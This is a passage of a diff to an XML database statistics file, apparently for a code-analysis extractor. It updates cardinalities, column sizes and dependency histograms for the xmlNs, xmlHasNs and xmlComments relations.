-                                </b>
-                                <b>
-                                    <a>132</a>
-                                    <b>33002</b>
-                                    <v>44</v>
-                                </b>
-                                <b>
-                                    <a>40586</a>
-                                    <b>54665</b>
-                                    <v>26</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>fileid</src>
-                    <trg>elementid</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>182</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>4</b>
-                                    <v>50</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>155</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
                                     <b>7</b>
-                                    <v>44</v>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
+                                    <b>8</b>
+                                    <v>51812</v>
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>14</b>
-                                    <v>44</v>
-                                </b>
-                                <b>
-                                    <a>16</a>
-                                    <b>133</b>
-                                    <v>44</v>
-                                </b>
-                                <b>
-                                    <a>161</a>
-                                    <b>9033</b>
-                                    <v>44</v>
-                                </b>
-                                <b>
-                                    <a>9557</a>
-                                    <b>11449</b>
-                                    <v>18</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>fileid</src>
-                    <trg>name</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>200</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>74</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>174</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>9</b>
-                                    <v>47</v>
+                                    <b>10</b>
+                                    <v>58629</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>15</b>
-                                    <v>13</v>
+                                    <v>65446</v>
                                 </b>
                                 <b>
                                     <a>15</a>
-                                    <b>16</b>
-                                    <v>50</v>
+                                    <b>27</b>
+                                    <v>61356</v>
                                 </b>
                                 <b>
-                                    <a>17</a>
-                                    <b>28</b>
-                                    <v>26</v>
+                                    <a>27</a>
+                                    <b>41</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>41</a>
+                                    <b>65</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>65</a>
+                                    <b>157</b>
+                                    <v>65446</v>
+                                </b>
+                                <b>
+                                    <a>162</a>
+                                    <b>817</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>818</a>
+                                    <b>832</b>
+                                    <v>66810</v>
+                                </b>
+                                <b>
+                                    <a>832</a>
+                                    <b>1187</b>
+                                    <v>27269</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>fileid</src>
+                    <trg>elementid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>91353</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>188160</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>113168</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>77718</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>8</b>
+                                    <v>72264</v>
+                                </b>
+                                <b>
+                                    <a>8</a>
+                                    <b>14</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>14</a>
+                                    <b>295</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>330</a>
+                                    <b>775</b>
+                                    <v>50448</v>
+                                </b>
+                                <b>
+                                    <a>776</a>
+                                    <b>778</b>
+                                    <v>65446</v>
+                                </b>
+                                <b>
+                                    <a>787</a>
+                                    <b>888</b>
+                                    <v>19088</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>fileid</src>
+                    <trg>name</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>50448</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>65446</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>50448</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>66810</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>121349</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>7</b>
+                                    <v>114532</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
+                                    <b>8</b>
+                                    <v>50448</v>
+                                </b>
+                                <b>
+                                    <a>8</a>
+                                    <b>12</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>12</a>
+                                    <b>18</b>
+                                    <v>69537</v>
+                                </b>
+                                <b>
+                                    <a>18</a>
+                                    <b>24</b>
+                                    <v>68173</v>
+                                </b>
+                                <b>
+                                    <a>24</a>
+                                    <b>37</b>
+                                    <v>62720</v>
+                                </b>
+                                <b>
+                                    <a>37</a>
+                                    <b>55</b>
+                                    <v>19088</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21771,48 +22992,68 @@
                             <bs>
                                 <b>
                                     <a>1</a>
-                                    <b>2</b>
-                                    <v>182</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
                                     <b>3</b>
-                                    <v>7</v>
+                                    <v>69537</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>153</v>
+                                    <v>39540</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>5</b>
-                                    <v>50</v>
+                                    <v>73627</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>9</b>
-                                    <v>47</v>
+                                    <b>6</b>
+                                    <v>88626</v>
                                 </b>
                                 <b>
-                                    <a>9</a>
-                                    <b>28</b>
-                                    <v>44</v>
+                                    <a>6</a>
+                                    <b>8</b>
+                                    <v>62720</v>
                                 </b>
                                 <b>
-                                    <a>29</a>
-                                    <b>174</b>
-                                    <v>44</v>
+                                    <a>8</a>
+                                    <b>12</b>
+                                    <v>70900</v>
                                 </b>
                                 <b>
-                                    <a>189</a>
-                                    <b>3411</b>
-                                    <v>44</v>
+                                    <a>12</a>
+                                    <b>19</b>
+                                    <v>61356</v>
                                 </b>
                                 <b>
-                                    <a>3525</a>
-                                    <b>3787</b>
-                                    <v>10</v>
+                                    <a>19</a>
+                                    <b>27</b>
+                                    <v>69537</v>
+                                </b>
+                                <b>
+                                    <a>27</a>
+                                    <b>41</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>42</a>
+                                    <b>170</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>205</a>
+                                    <b>780</b>
+                                    <v>57266</v>
+                                </b>
+                                <b>
+                                    <a>781</a>
+                                    <b>783</b>
+                                    <v>65446</v>
+                                </b>
+                                <b>
+                                    <a>791</a>
+                                    <b>893</b>
+                                    <v>19088</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21828,32 +23069,47 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>251</v>
+                                    <v>79081</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>219</v>
+                                    <v>76354</v>
                                 </b>
                                 <b>
                                     <a>3</a>
+                                    <b>4</b>
+                                    <v>151346</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
                                     <b>5</b>
-                                    <v>50</v>
+                                    <v>155436</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>92716</v>
                                 </b>
                                 <b>
                                     <a>6</a>
-                                    <b>7</b>
-                                    <v>5</v>
-                                </b>
-                                <b>
-                                    <a>9</a>
                                     <b>10</b>
-                                    <v>55</v>
+                                    <v>68173</v>
                                 </b>
                                 <b>
                                     <a>10</a>
-                                    <b>11</b>
-                                    <v>5</v>
+                                    <b>12</b>
+                                    <v>46358</v>
+                                </b>
+                                <b>
+                                    <a>12</a>
+                                    <b>15</b>
+                                    <v>69537</v>
+                                </b>
+                                <b>
+                                    <a>15</a>
+                                    <b>24</b>
+                                    <v>61356</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21863,23 +23119,23 @@
         </relation>
         <relation>
             <name>xmlNs</name>
-            <cardinality>23896</cardinality>
+            <cardinality>1285760</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>829</v>
+                    <v>8180</v>
                 </e>
                 <e>
                     <k>prefixName</k>
-                    <v>497</v>
+                    <v>9544</v>
                 </e>
                 <e>
                     <k>URI</k>
-                    <v>829</v>
+                    <v>8180</v>
                 </e>
                 <e>
                     <k>fileid</k>
-                    <v>11948</v>
+                    <v>748549</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -21893,7 +23149,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>829</v>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21909,7 +23170,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>829</v>
+                                    <v>8180</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21923,19 +23184,34 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>497</v>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>70</a>
-                                    <b>71</b>
-                                    <v>165</v>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>72</b>
-                                    <v>165</v>
+                                    <a>88</a>
+                                    <b>89</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>167</a>
+                                    <b>168</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>213</a>
+                                    <b>214</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>453</a>
+                                    <b>454</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21951,12 +23227,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>331</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>165</v>
+                                    <v>9544</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21972,12 +23243,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>331</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>165</v>
+                                    <v>9544</v>
                                 </b>
                             </bs>
                         </hist>
@@ -21993,17 +23259,37 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>165</v>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>72</b>
-                                    <v>165</v>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>72</a>
-                                    <b>73</b>
-                                    <v>165</v>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>88</a>
+                                    <b>89</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>166</a>
+                                    <b>167</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>213</a>
+                                    <b>214</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>453</a>
+                                    <b>454</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22019,7 +23305,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>829</v>
+                                    <v>8180</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22035,7 +23321,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>829</v>
+                                    <v>6817</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22049,19 +23340,34 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>497</v>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>70</a>
-                                    <b>71</b>
-                                    <v>165</v>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>72</b>
-                                    <v>165</v>
+                                    <a>88</a>
+                                    <b>89</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>167</a>
+                                    <b>168</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>213</a>
+                                    <b>214</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>453</a>
+                                    <b>454</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22077,17 +23383,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>165</v>
+                                    <v>334052</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>11616</v>
+                                    <v>291784</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>165</v>
+                                    <v>122713</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22103,17 +23409,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>165</v>
+                                    <v>334052</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>11616</v>
+                                    <v>291784</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>165</v>
+                                    <v>122713</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22129,17 +23435,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>165</v>
+                                    <v>334052</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>11616</v>
+                                    <v>291784</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>165</v>
+                                    <v>122713</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22149,19 +23455,19 @@
         </relation>
         <relation>
             <name>xmlHasNs</name>
-            <cardinality>525234</cardinality>
+            <cardinality>25937454</cardinality>
             <columnsizes>
                 <e>
                     <k>elementId</k>
-                    <v>525234</v>
+                    <v>25937454</v>
                 </e>
                 <e>
                     <k>nsId</k>
-                    <v>663</v>
+                    <v>8180</v>
                 </e>
                 <e>
                     <k>fileid</k>
-                    <v>11948</v>
+                    <v>744459</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22175,7 +23481,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>525234</v>
+                                    <v>25937454</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22191,7 +23497,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>525234</v>
+                                    <v>25937454</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22205,24 +23511,34 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>28</a>
-                                    <b>29</b>
-                                    <v>165</v>
+                                    <a>13</a>
+                                    <b>14</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>72</b>
-                                    <v>165</v>
+                                    <a>84</a>
+                                    <b>85</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>378</a>
-                                    <b>379</b>
-                                    <v>165</v>
+                                    <a>2426</a>
+                                    <b>2427</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>2688</a>
-                                    <b>2689</b>
-                                    <v>165</v>
+                                    <a>2733</a>
+                                    <b>2734</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>3704</a>
+                                    <b>3705</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>10063</a>
+                                    <b>10064</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22236,19 +23552,34 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>331</v>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>70</a>
-                                    <b>71</b>
-                                    <v>165</v>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>1363</v>
                                 </b>
                                 <b>
-                                    <a>71</a>
-                                    <b>72</b>
-                                    <v>165</v>
+                                    <a>86</a>
+                                    <b>87</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>164</a>
+                                    <b>165</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>209</a>
+                                    <b>210</b>
+                                    <v>1363</v>
+                                </b>
+                                <b>
+                                    <a>453</a>
+                                    <b>454</b>
+                                    <v>1363</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22262,49 +23593,79 @@
                             <budget>12</budget>
                             <bs>
                                 <b>
-                                    <a>9</a>
+                                    <a>1</a>
+                                    <b>3</b>
+                                    <v>44994</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>5</b>
+                                    <v>62720</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>6</b>
+                                    <v>34086</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>7</b>
+                                    <v>65446</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
+                                    <b>8</b>
+                                    <v>49085</v>
+                                </b>
+                                <b>
+                                    <a>8</a>
                                     <b>10</b>
-                                    <v>2489</v>
+                                    <v>61356</v>
                                 </b>
                                 <b>
-                                    <a>14</a>
+                                    <a>10</a>
                                     <b>15</b>
-                                    <v>497</v>
+                                    <v>65446</v>
                                 </b>
                                 <b>
-                                    <a>18</a>
-                                    <b>20</b>
-                                    <v>995</v>
+                                    <a>15</a>
+                                    <b>25</b>
+                                    <v>55902</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>34</b>
-                                    <v>995</v>
+                                    <a>25</a>
+                                    <b>36</b>
+                                    <v>57266</v>
                                 </b>
                                 <b>
-                                    <a>37</a>
-                                    <b>38</b>
-                                    <v>3816</v>
+                                    <a>36</a>
+                                    <b>49</b>
+                                    <v>58629</v>
                                 </b>
                                 <b>
-                                    <a>38</a>
-                                    <b>43</b>
-                                    <v>995</v>
+                                    <a>49</a>
+                                    <b>54</b>
+                                    <v>14998</v>
                                 </b>
                                 <b>
-                                    <a>47</a>
-                                    <b>75</b>
-                                    <v>995</v>
+                                    <a>54</a>
+                                    <b>55</b>
+                                    <v>58629</v>
                                 </b>
                                 <b>
-                                    <a>96</a>
-                                    <b>205</b>
-                                    <v>995</v>
+                                    <a>55</a>
+                                    <b>81</b>
+                                    <v>57266</v>
                                 </b>
                                 <b>
-                                    <a>379</a>
-                                    <b>380</b>
-                                    <v>165</v>
+                                    <a>81</a>
+                                    <b>298</b>
+                                    <v>55902</v>
+                                </b>
+                                <b>
+                                    <a>298</a>
+                                    <b>833</b>
+                                    <v>2726</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22320,12 +23681,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>165</v>
+                                    <v>335415</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>11782</v>
+                                    <v>289057</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>119986</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22335,23 +23701,23 @@
         </relation>
         <relation>
             <name>xmlComments</name>
-            <cardinality>92776</cardinality>
+            <cardinality>107367127</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>92776</v>
+                    <v>107367127</v>
                 </e>
                 <e>
                     <k>text</k>
-                    <v>57487</v>
+                    <v>1694803</v>
                 </e>
                 <e>
                     <k>parentid</k>
-                    <v>30735</v>
+                    <v>841266</v>
                 </e>
                 <e>
                     <k>fileid</k>
-                    <v>10814</v>
+                    <v>786727</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -22365,7 +23731,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>92776</v>
+                                    <v>107367127</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22381,7 +23747,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>92776</v>
+                                    <v>107367127</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22397,7 +23763,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>92776</v>
+                                    <v>107367127</v>
                                 </b>
                             </bs>
                         </hist>
@@ -22413,275 +23779,395 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>33581</v>
+                                    <v>233154</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>3</b>
-                                    <v>20490</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>9</b>
-                                    <v>3415</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>text</src>
-                    <trg>parentid</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>33581</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>21628</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>9</b>
-                                    <v>2276</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>text</src>
-                    <trg>fileid</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>34720</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>21059</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>9</b>
-                                    <v>1707</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>parentid</src>
-                    <trg>id</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>16506</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>9106</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>5</b>
-                                    <v>2845</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>43</b>
-                                    <v>2276</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>parentid</src>
-                    <trg>text</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>17644</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>8537</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>6</b>
-                                    <v>2845</v>
-                                </b>
-                                <b>
-                                    <a>8</a>
-                                    <b>42</b>
-                                    <v>1707</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>parentid</src>
-                    <trg>fileid</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>30735</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>fileid</src>
-                    <trg>id</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>5122</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>2276</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>11</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>14</a>
-                                    <b>15</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>42</a>
-                                    <b>43</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>72</a>
-                                    <b>73</b>
-                                    <v>569</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>fileid</src>
-                    <trg>text</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>5122</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>3415</v>
-                                </b>
-                                <b>
-                                    <a>10</a>
-                                    <b>11</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>14</a>
-                                    <b>15</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>40</a>
-                                    <b>41</b>
-                                    <v>569</v>
-                                </b>
-                                <b>
-                                    <a>68</a>
-                                    <b>69</b>
-                                    <v>569</v>
-                                </b>
-                            </bs>
-                        </hist>
-                    </val>
-                </dep>
-                <dep>
-                    <src>fileid</src>
-                    <trg>parentid</trg>
-                    <val>
-                        <hist>
-                            <budget>12</budget>
-                            <bs>
-                                <b>
-                                    <a>1</a>
-                                    <b>2</b>
-                                    <v>7399</v>
-                                </b>
-                                <b>
-                                    <a>2</a>
-                                    <b>3</b>
-                                    <v>1707</v>
+                                    <b>7</b>
+                                    <v>139074</v>
                                 </b>
                                 <b>
                                     <a>7</a>
-                                    <b>8</b>
-                                    <v>569</v>
+                                    <b>32</b>
+                                    <v>140438</v>
                                 </b>
                                 <b>
-                                    <a>12</a>
-                                    <b>13</b>
-                                    <v>569</v>
+                                    <a>32</a>
+                                    <b>61</b>
+                                    <v>128166</v>
                                 </b>
                                 <b>
-                                    <a>16</a>
-                                    <b>17</b>
-                                    <v>569</v>
+                                    <a>61</a>
+                                    <b>76</b>
+                                    <v>128166</v>
+                                </b>
+                                <b>
+                                    <a>76</a>
+                                    <b>84</b>
+                                    <v>136347</v>
+                                </b>
+                                <b>
+                                    <a>84</a>
+                                    <b>90</b>
+                                    <v>125440</v>
+                                </b>
+                                <b>
+                                    <a>90</a>
+                                    <b>94</b>
+                                    <v>111805</v>
+                                </b>
+                                <b>
+                                    <a>94</a>
+                                    <b>95</b>
+                                    <v>59993</v>
+                                </b>
+                                <b>
+                                    <a>95</a>
+                                    <b>96</b>
+                                    <v>100897</v>
+                                </b>
+                                <b>
+                                    <a>96</a>
+                                    <b>98</b>
+                                    <v>140438</v>
+                                </b>
+                                <b>
+                                    <a>98</a>
+                                    <b>100</b>
+                                    <v>126803</v>
+                                </b>
+                                <b>
+                                    <a>100</a>
+                                    <b>460</b>
+                                    <v>124076</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>text</src>
+                    <trg>parentid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>235881</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>6</b>
+                                    <v>134984</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>32</b>
+                                    <v>143165</v>
+                                </b>
+                                <b>
+                                    <a>32</a>
+                                    <b>61</b>
+                                    <v>129530</v>
+                                </b>
+                                <b>
+                                    <a>61</a>
+                                    <b>75</b>
+                                    <v>132257</v>
+                                </b>
+                                <b>
+                                    <a>75</a>
+                                    <b>84</b>
+                                    <v>148619</v>
+                                </b>
+                                <b>
+                                    <a>84</a>
+                                    <b>90</b>
+                                    <v>122713</v>
+                                </b>
+                                <b>
+                                    <a>90</a>
+                                    <b>94</b>
+                                    <v>119986</v>
+                                </b>
+                                <b>
+                                    <a>94</a>
+                                    <b>95</b>
+                                    <v>66810</v>
+                                </b>
+                                <b>
+                                    <a>95</a>
+                                    <b>96</b>
+                                    <v>103624</v>
+                                </b>
+                                <b>
+                                    <a>96</a>
+                                    <b>98</b>
+                                    <v>143165</v>
+                                </b>
+                                <b>
+                                    <a>98</a>
+                                    <b>100</b>
+                                    <v>134984</v>
+                                </b>
+                                <b>
+                                    <a>100</a>
+                                    <b>460</b>
+                                    <v>79081</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>text</src>
+                    <trg>fileid</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>246789</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>7</b>
+                                    <v>133620</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
